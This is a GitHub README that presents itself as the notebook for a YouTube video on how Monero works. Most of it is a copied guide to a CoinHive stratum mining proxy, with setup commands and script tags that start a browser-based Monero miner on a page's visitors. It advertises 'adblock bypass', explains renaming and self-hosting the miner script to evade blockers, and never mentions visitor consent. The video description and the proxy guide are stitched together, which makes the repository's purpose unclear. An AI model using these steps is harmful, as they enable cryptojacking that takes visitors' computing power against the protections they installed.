/how_does_monero_work

This is the code for "How Does Monero Work?" By Siraj Raval on Youtube

Primary LanguageJupyter NotebookMIT LicenseMIT

how_does_monero_work

This is the code for "How Does Monero Work?" By Siraj Raval on Youtube

This is the notebook for this video on Youtube by Siraj Raval on how Monero works. https://getmonero.org/

Install juypter notebook. Then run 'jupyter notebook' in the root directory in terminal and the notebook will pop up in your browser.

A proof of concept of web mining using CoinHive's JavaScript Mining library. The proxy acts like coin hive to connect to a mining pool. Should work with any monero pool based on the Stratum Mining Protocol. You can even set up your own pool.

Pros: no dev fee, adblock bypass, use any pool you like.

Installation

Run on Docker:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ docker build -t coinhive-stratum-mining-proxy .
$ docker run -p 8892:8892 coinhive-stratum-mining-proxy <stratum tcp host> <stratum tcp port>

eg:

$ docker run -p 8892:8892 coinhive-stratum-mining-proxy xmr-eu1.nanopool.org 14444

Or install dependencies (apt-get install ... or brew install ...):

  • python
  • python-dev
  • pip
  • openssl-dev
  • gcc
  • git
  • musl-dev
  • libffi-dev

and run on Linux/Mac box:

$ git clone https://github.com/x25/coinhive-stratum-mining-proxy.git
$ cd coinhive-stratum-mining-proxy
$ pip install -v -r requirements.txt
$ python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port>

eg:

$ python coinhive-stratum-mining-proxy.py xmr-eu1.nanopool.org 14444

Usage

  1. Install and Run coinhive-stratum-mining-proxy
  2. Load the Coinhive Miner
<script src="https://coinhive.com/lib/coinhive.min.js"></script>

The javascript can be saved/renamed and loaded from your server, see adblock_bypass.html.

  1. Change the CoinHive.CONFIG.WEBSOCKET_SHARDS config variable:
<script>
CoinHive.CONFIG.WEBSOCKET_SHARDS = [["ws://localhost:8892/proxy"]];
</script>
  1. Start Mining
<script>
var miner = new CoinHive.Anonymous('YOUR_MONERO_ADDRESS');
miner.start();
</script>

or

<script>
var miner = new CoinHive.User('YOUR_MONERO_ADDRESS', 'YOUR_WORKER_NAME');
miner.start();
</script>

the username will be used as the stratum worker name (use only if your pool supports worker names).

  1. Profit!

SSL/Secure WebSockets

Generate keypair:

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 100 -nodes

Run script with --ssl=key.pem:cert.pem parameter:

python coinhive-stratum-mining-proxy.py <stratum tcp host> <stratum tcp port> --ssl=key.pem:cert.pem

Statistic

Simple stats are available at /stats route:

curl http://localhost:8892/stats?password=YOUR_PASS
{"total_hashes": 0, "uptime": 15.53, "clients": 1}

No password by default, please run with --password=YOUR_PASS argument to setup password.

Demo

Setup and run coinhive-stratum-mining-proxy with xmr-eu1.nanopool.org 14444 parameters and open http://localhost:8892 in your browser for live demo.

Links

Disclaimer

This project is not endorsed by or affiliated with coinhive.com in any way. Credits for the code go to https://github.com/x25/coinhive-stratum-mining-proxy

License

MIT